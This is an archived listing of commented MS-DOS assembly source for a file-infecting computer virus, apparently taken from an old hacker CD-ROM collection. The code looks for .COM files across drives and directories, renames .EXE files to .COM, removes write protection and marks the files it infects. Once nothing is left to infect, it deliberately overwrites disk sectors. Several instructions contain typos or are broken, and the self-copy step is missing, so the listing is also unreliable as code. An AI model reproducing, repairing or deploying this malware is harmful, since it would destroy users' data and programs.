home *** CD-ROM | disk | FTP | other *** search
/ Hacker 2 / HACKER2.mdf / virus / virus.asm < prev    next >
Assembly Source File  |  1995-01-03  |  12KB  |  396 lines

  1. ;                        Virus in Assembly Language
  2. ;                        --------------------------
  3.  
  4. ;Most viruses out there have been written in assembly because assembly has the
  5. ;unique ability to bypass operating system security.
  6. ;Here is an example of a virus written under MS-DOS 2.1 and can obviously be
  7. ;compiled in the later versions. The article contains remarks so as to further
  8. ;explain the parts. Programmers may wish to delete those segments if desired.
  9.  
  10. ;**************************************************
  11. ;   Program Virus        
  12. ;   Version 1.1
  13. ;   This is a demonstration program for computer 
  14. ;   viruses. It has the ability to replace itself.
  15. ;   and thereby modify other programs. Enjoy.
  16. ;**************************************************
  17.  
  18. Code   Segment
  19.        Assume  CS:Code
  20. progr  equ 100h
  21.        ORG progr
  22.  
  23. ;**************************************************
  24. ;   The three NOP's serve as the marker byte of the  
  25. ;   virus which allow it to identify a virus.
  26. ;**************************************************
  27.  
  28. MAIN:
  29.        nop
  30.        nop
  31.        nop
  32.  
  33. ;**************************************************
  34. ;   Initialize the pointers
  35. ;**************************************************
  36.  
  37.        mov ax,00
  38.        mov es:[pointer],ax
  39.        mov es:[counter],ax
  40.        mov es:[disks],al
  41.  
  42. ;**************************************************
  43. ;   Get the selected drive
  44. ;**************************************************
  45.  
  46.        mov ah,19h             ;drive?
  47.        int 21h    
  48.  
  49. ;**************************************************
  50. ;   Get the current path on the current drive
  51. ;**************************************************
  52.  
  53.        mov cs:drive,al        ;save drive
  54.        mov ah,47h             ;dir?
  55.        mov dh,0               
  56.        add al,1
  57.        mov dl,al              ;in actual drive
  58.        lea si,cs:old_path     ;
  59.        int 21h
  60.  
  61. ;**************************************************
  62. ;   Get the number of drives present. If only one   
  63. ;   is present, the pointer for the search order
  64. ;   will be set to serach order + 6
  65. ;**************************************************
  66.  
  67.        mov as,0eh             ;how many disks 
  68.        mov dl,0               ;
  69.        int 21h
  70.  
  71.        mov al,01
  72.        cmp al,01              ;one drive
  73.        jnz hups3
  74.        mov al,06
  75.        
  76. hups3: mov ah,0
  77.        lea bx,search_order
  78.        add bx,ax
  79.        add bx,0001h
  80.        mov cs:pointer,bx
  81.        clc
  82.  
  83. ;**************************************************
  84. ;   Carry is set, if no more .COM's are found.      
  85. ;   Then, to avoid unnecessary work, .EXE files will
  86. ;   be renamed to .COM files and infected.
  87. ;   This causes the error message "Program to large
  88. ;   to fit memory" when starting larger infected
  89. ;   EXE programs.
  90. ;*************************************************
  91.  
  92. change_disk:
  93.       jnc no_name_change
  94.       mov ah,17h              ;change .EXE to .COM
  95.       lea dx,cs:maske_exe
  96.       int 21h
  97.       cmp al,0ffh
  98.       jnz no_name_change      ;.EXE found?
  99.  
  100. ;****************************************************
  101. ;   If neither  .COM nor .EXE is found then sectors
  102. ;   will be overwritten depending on the system time
  103. ;   in milliseconds. This is the time of the complete
  104. ;   "infection" of a storage medium. The virus can
  105. ;   find nothing more to infect and starts its destruction
  106. ;*****************************************************   
  107.  
  108.       mov ah,2ch              ; read system clock
  109.       int 21h
  110.       mov bx,cs:pointer
  111.       mov al,cs:[bx]
  112.       mov bx,dx
  113.       mov cx,2
  114.       mov dh,0
  115.       int 26h                 ; write crap on disk
  116.  
  117. ;******************************************************
  118. ;   Check if the end of the search order table has been
  119. ;   reached . If so, end.
  120. ;******************************************************
  121.  
  122. no_name_change:
  123.       mov bx,cs:pointer
  124.       dec bx
  125.       mov cs:pointer,bx
  126.       mov dl,cs:[bx]
  127.       cmp dl,0ffh
  128.       jnz hups2
  129.       jmp hops
  130.       
  131. ;****************************************************
  132. ;   Get new drive from the search order table and
  133. ;   select it .
  134. ;***************************************************
  135.  
  136. hups2:
  137.       mov ah,0eh
  138.       int 21h                    ;change disk
  139.  
  140. ;***************************************************
  141. ;   Start in the root directory
  142. ;***************************************************  
  143.  
  144.       mov ah,3bh                 ;change path
  145.       lea dx,path
  146.       int 21h
  147.       jmp find_first_file
  148.  
  149. ;**************************************************
  150. ;   Starting from the root, search for the first
  151. ;   subdir. FIrst convert all .EXE files to .COM
  152. ;   in the old directory
  153. ;**************************************************
  154.  
  155. find_first_subdir:
  156.       mov ah,17h                 ;change .exe to .com
  157.       lea dx,cs:maske_exe
  158.       int 21h
  159.       mov ah,3bh                 ;use root directory
  160.       lea dx,path
  161.       int 21h
  162.       mov ah,04eh                ;search for first subdirectory
  163.       mov cx,00010001b           ;dir mask
  164.       lea dx,maske_dir           ;
  165.       int 21h                    ;
  166.       jc change_disk
  167.       mov bx,CS:counter
  168.       INC,BX
  169.       DEC bx
  170.       jz  use_next_subdir
  171.  
  172. ;*************************************************
  173. ;   Search for the next subdirectory. If no more
  174. ;   directories are found, the drive will be changed.
  175. ;*************************************************
  176.  
  177. find_next_subdir:
  178.       mov ah,4fh               ; search for next subdir
  179.       int 21h 
  180.       jc change_disk
  181.       dec bx
  182.       jnz find_next_subdir
  183.  
  184. ;*************************************************
  185. ;   Select found directory.
  186. ;**************************************************
  187.  
  188. use_next_subdir:      
  189.       mov ah,2fh               ;get dta address
  190.       int 21h
  191.       add bx,1ch
  192.       mov es:[bx],'\`          ;address of name in dta
  193.       inc bx
  194.       push ds
  195.       mov ax,es
  196.       mov ds,ax
  197.       mov dx,bx
  198.       mov ah,3bh               ;change path
  199.       int 21h
  200.       pop ds
  201.       mov bx,cs:counter
  202.       inc bx
  203.       mov CS:counter,bx
  204.  
  205. ;**************************************************
  206. ;    Find first .COM file in the current directory.
  207. ;    If there are none, search the next directory.
  208. ;**************************************************
  209.  
  210. find_first_file:
  211.       mov ah,04eh              ;Search for first
  212.       mov cx,00000001b         ;mask
  213.       lea dx,maske_com         ;
  214.       int 21h                  ;
  215.       jc find_first_subdir
  216.       jmp check_if_ill
  217.  
  218. ;**************************************************
  219. ;   If program is ill(infected) then search for
  220. ;   another other.
  221. ;************************************************** 
  222.  
  223. find_next_file:
  224.       mov ah,4fh               ;search for next
  225.       int 21h
  226.       jc find_first_subdir
  227.  
  228. ;*************************************************
  229. ;   Check is already infected by virus.
  230. ;**************************************************
  231.  
  232. check_if_ill:
  233.       mov ah,3dh              ;open channel
  234.       mov al,02h              ;read/write
  235.       mov dx,9eh              ;address of name in dta 
  236.       int 21
  237.       mov bx,ax               ;save channel
  238.       mov ah,3fh              ; read file
  239.       mov ch,buflen           ;
  240.       mov dx,buffer           ;write in buffer
  241.       int 21h 
  242.       mov ah,3eh              ;close file
  243.       int 21h  
  244.  
  245. ;***************************************************
  246. ;   This routine will search the three NOP's(no 
  247. ;   operation).If present there is already an infection.
  248. ;   We must then continue the search
  249. ;****************************************************
  250.  
  251.      mov bx,cs:[buffer]
  252.      cmp bx,9090h
  253.      jz find_next_file
  254.  
  255. ;***************************************************
  256. ;   This routine will BY PASS MS-DOS WRITE PROTECTION
  257. ;   if present. Very important !
  258. ;***************************************************
  259.  
  260.      mov ah,43h               ;write enable
  261.      mov al,0          
  262.      mov dx,9eh               ;address of name in dta
  263.      int 21h 
  264.      mov ah,43h
  265.      mov al,01h
  266.      and cx,11111110b
  267.      int 21h
  268.  
  269. ;****************************************************
  270. ;   Open file for read/write access.
  271. ;*****************************************************
  272.  
  273.      mov ah,3dh               ;open channel
  274.      mov al,02h               ;read/write
  275.      mov dx,9eh               ;address of name in dta
  276.      int 21h
  277.  
  278. ;****************************************************
  279. ;   Read date entry of program and save for future
  280. ;   use.
  281. ;****************************************************
  282.  
  283.     mov bx,ax                ;channel
  284.     mov ah,57h               ;get date
  285.     mov al.0
  286.     int 21h
  287.     push cx                  ;save date
  288.     push dx 
  289.  
  290. ;****************************************************
  291. ;   The jump located at address 0100h of the program
  292. ;   will be saved for further use.
  293. ;*****************************************************
  294.  
  295.     mov dx,cs:[conta]        ;save old jmp
  296.     mov cs:[jmpbuf],dx
  297.     mov dx,cs:[buffer+1]     ;save new jump
  298.     lea cx,cont-100h
  299.     sub dx,cx
  300.     mov cs:[conta],dx
  301.  
  302. ;***************************************************** 
  303. ;   The virus copies itself to the start of the file. 
  304. ;***************************************************** 
  305.  
  306.     mov ah,57h               ;write date
  307.     mov al,1         
  308.     pop dx
  309.     pop cx                   ;restore date
  310.     int 21h
  311.  
  312. ;*****************************************************
  313. ;   Close the file.
  314. ;*****************************************************
  315.  
  316.     mov ah,3eh               ;close file
  317.     int 21h
  318.  
  319. ;*****************************************************
  320. ;   Restore the old jump address. The virus saves at
  321. ;   address "conta" the jump which was at the start of
  322. ;   the host program.
  323. ;   This is done to preserve the executability of the
  324. ;   host program as much as possible.
  325. ;   After saving it still works with the jump address
  326. ;   contained in the virus. The jump address in the 
  327. ;   virus differs from the jump address in memory.
  328. ;****************************************************
  329.  
  330.     mov dx,cs:[jmpbuf]       ;restore old jump
  331.     mov cs:[conta],dx
  332. hops:  nop
  333.        call use_old
  334.  
  335. ;****************************************************
  336. ;   Continue with the host program.
  337. ;****************************************************
  338.     
  339. cont    db 0e9h                ;make jump
  340. conta   dw 0
  341.         mov ah,00
  342.         int 21h    
  343.  
  344. ;***************************************************
  345. ;   Reactivate the selected drive at the start of  
  346. ;   the program.
  347. ;***************************************************
  348.  
  349. use_old:
  350.         mov ah,0eh             ;use old drive
  351.         mov dl,cs:drive 
  352.         int 21h 
  353.  
  354. ;*************************************************** 
  355. ;    Reactivate the selected path at the start of
  356. ;    the program.
  357. ;***************************************************
  358.  
  359.         mov ah,3bh             ;use old drive
  360.         lea dx,old_path-1      ;get old path and backslash
  361.         int 21h
  362.         ret
  363.  
  364. search_order db 0ffh,1,0,2,3,0ffh,00,offh
  365. pointer      dw   0000           ;pointer f. search order
  366. counter      dw   0000           ;counter f. nth. search 
  367. disks        db    0             ;number of disks
  368.  
  369. maske_com    db "*.com",00       ;search for com files
  370. maske_dir    db "*",00           ;search for dir's
  371. maske_exe    db offh,0,0,0,0,0,00111111b 
  372.              db 0,"????????exe",0,0,0,0
  373.              db 0,"????????com",0
  374. maske_all    db offh,0,0,0,0,0,00111111b
  375.              db 0,"???????????",0,0,0,0
  376.              db 0,"????????com",0
  377.  
  378. buffer equ 0e00h                 ;a safe place
  379.  
  380. buflen equ 230h                  ;lenght of virus!!!!
  381.                                  ;carefull
  382.                                  ;if changing!!!!
  383. jmpbuf equ buffer+buflen         ;a safe place for jmp
  384. path  db "\",0                   ;first place
  385. drive db 0                       ;actual drive
  386. back_slash db "\"
  387. old_path db 32 dup (?)           ;old path
  388.  
  389. code ends
  390.  
  391. end main
  392.  
  393. ;[ END OF THIS VIRUS PROGRAM ]
  394. 
  395. Downloaded From P-80 International Information Systems 304-744-2253
  396.